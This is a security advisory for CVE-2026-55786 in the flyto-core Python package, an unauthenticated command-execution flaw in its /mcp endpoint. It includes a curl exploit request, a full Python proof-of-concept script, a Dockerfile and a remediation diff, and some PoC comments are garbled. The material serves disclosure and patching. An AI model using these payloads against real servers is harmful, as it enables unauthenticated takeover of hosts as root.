PT-2026-56087 · Pypi · Flyto-Core
Publicado
2026-07-06
·
Atualizado
2026-07-06
·
CVE-2026-55786
CVSS v3.1
8.4
Alta
| Vetor | AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Unauthenticated Command Execution via HTTP MCP execute module
Summary
The HTTP MCP endpoint (
POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute shell, which passes attacker-controlled input directly to asyncio.create subprocess shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (
flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.The complete unauthenticated data flow from source to sink:
src/core/api/server.py:75-78—mcp routeris mounted under/mcpunconditionally at app creation.src/core/api/routes/mcp.py:65-66—@router.post("")has noDepends(require auth)guard; any HTTP client may POST to this route.src/core/api/routes/mcp.py:79— the full request body (attacker-controlled JSON) is parsed without validation.src/core/api/routes/mcp.py:103-104— each JSON-RPC item is forwarded tohandle jsonrpc requestwithout amodule filter.src/core/mcp handler.py:813-838—tools/callwith nameexecute moduleforwards attacker-controlledmodule idandparamstoexecute module().src/core/mcp handler.py:180,214-215— the module registry resolvesmodule idand invokes it with attacker-suppliedparams.src/core/modules/registry/decorators.py:96-101— the function wrapper exposesself.paramsascontext['params'].src/core/modules/atomic/sandbox/execute shell.py:137-139—commandis read directly fromparamswith no sanitization.src/core/modules/atomic/sandbox/execute shell.py:163-169—commandreachesasyncio.create subprocess shellwithshell=Trueand no allowlist or escaping.
The
sandbox.execute shell module is not covered by the default denylist ( DEFAULT DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module filter were applied it would still be reachable.Vulnerable code excerpts:
python
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp post(request: Request):python
# src/core/mcp handler.py:832-838 — attacker-controlled dispatch
elif tool name == "execute module":
result = await execute module(
module id=arguments.get("module id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser sessions=browser sessions,
)python
# src/core/modules/atomic/sandbox/execute shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create subprocess shell(command, ...)Contrast with the protected REST route:
python
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require auth)])The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
bash
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build
-f vuln-001/Dockerfile
-t flyto-vuln-001
reports/mcp 57 flytohub flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d
-p 127.0.0.1:8333:8333
--name flyto-vuln-001-test
flyto-vuln-001Exploit (curl) — no Authorization header:
bash
curl -sS http://127.0.0.1:8333/mcp
-H 'Content-Type: application/json'
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute module",
"arguments": {
"module id": "sandbox.execute shell",
"params": {"command": "id", "timeout": 5}
}
}
}'Exploit (Python PoC script):
bash
python3 vuln-001/poc.py
--host 127.0.0.1 --port 8333 --command idObserved response (dynamic reproduction, Phase 2):
json
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) gid=0(root) groups=0(root)
",
"stderr": "",
"exit code": 0,
"execution time ms": 4.84
}
},
"isError": false
}
}The
uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.Network-accessible variant:
If the operator starts flyto-core with
--host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.Recommended remediation:
diff
--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import JSONResponse, Response
from core.mcp handler import handle jsonrpc request
+from core.api.security import require auth, module filter
-@router.post("")
+@router.post("", dependencies=[Depends(require auth)])
async def mcp post(request: Request):
result = await handle jsonrpc request(item, browser sessions)
+ result = await handle jsonrpc request(item, browser sessions, module filter=module filter)
-@router.delete("")
+@router.delete("", dependencies=[Depends(require auth)])
async def mcp delete(request: Request):diff
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
- DEFAULT DENYLIST = ["shell.*", "process.*"]
+ DEFAULT DENYLIST = ["shell.*", "process.*", "sandbox.*"]Impact
This is an unauthenticated OS command injection vulnerability. Any process that can reach the
POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.Affected parties include:
- Developers and local users running
flyto serveon their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface. - Infrastructure operators who expose the API on a non-loopback interface (
--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.
Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
Reproduction artifacts
Dockerfile
dockerfile
FROM python:3.12-slim
# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends
gcc g++ libxml2-dev libxslt1-dev
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# local repo copy source (build context: mcp 57 flytohub flyto-core/)
COPY repo/ /app/repo/
# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"
EXPOSE 8333
# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]poc.py
python
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute module
Target: flyto-core 2.26.2
Route: POST /mcp (no auth dependency — mcp.py:65)
Sink: asyncio.create subprocess shell (execute shell.py:163)
CWE: CWE-306 Missing Authentication for Critical Function
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error
def wait for server(base url: str, max wait: int = 45) -> bool:
"""servertext readytext until /health text."""
for i in range(max wait):
try:
with urllib.request.urlopen(f"{base url}/health", timeout=2) as resp:
if resp.status == 200:
print(f"[+] server is ready ({i}s textand)")
return True
except Exception:
pass
time.sleep(1)
if i % 5 == 4:
print(f"[*] wait in progress... ({i+1}s)")
return False
def send exploit(base url: str, command: str) -> dict:
"""without authentication POST /mcptext arbitrary command execute request."""
payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute module",
"arguments": {
"module id": "sandbox.execute shell",
"params": {
"command": command,
"timeout": 10
}
}
}
}
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
f"{base url}/mcp",
data=data,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
body = resp.read().decode("utf-8")
return json.loads(body)
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
parser.add argument("--host", default="127.0.0.1")
parser.add argument("--port", type=int, default=8333)
parser.add argument("--command", default="id", help="OS command to execute (default: id)")
args = parser.parse args()
base url = f"http://{args.host}:{args.port}"
print("=" * 60)
print("VULN-001: Unauthenticated RCE via HTTP MCP execute module")
print(f" Target : {base url}/mcp")
print(f" Command : {args.command}")
print("=" * 60)
print()
# 1. wait for server readiness
print("[*] waiting for server startup in progress...")
if not wait for server(base url):
print("[-] FAIL: servertext whenbetween within not respond not")
sys.exit(1)
# 2. without authentication exploit send request
print(f"
[*] POST {base url}/mcp — without an Authorization header send")
try:
result = send exploit(base url, args.command)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
print(f"[-] HTTP {e.code}: {body}")
print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
sys.exit(1)
except Exception as e:
print(f"[-] text error: {e}")
sys.exit(1)
# 3. response parse
print(f"
[*] Raw JSON response:
{json.dumps(result, indent=2, ensure ascii=False)}
")
# result.result.structuredContent.data.stdout
try:
structured = result["result"]["structuredContent"]
data = structured["data"]
stdout = data.get("stdout", "")
stderr = data.get("stderr", "")
exit code = data.get("exit code", -1)
except (KeyError, TypeError) as e:
print(f"[-] FAIL: expected response structure text — {e}")
print(f" result keys: {list(result.get('result', {}).keys())}")
sys.exit(1)
print(f"[*] exit code = {exit code}")
print(f"[*] stdout = {stdout!r}")
print(f"[*] stderr = {stderr!r}")
print()
# 4. success verdict: `id` command resulttext uid= contains whether
if "uid=" in stdout:
print("[+] ============================================================")
print("[+] PASS: without authentication text OS command execution check!")
print(f"[+] command output: {stdout.strip()}")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
sys.exit(1)
if name == " main ":
main()Correção
OS Command Injection
Missing Authentication
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Flyto-Core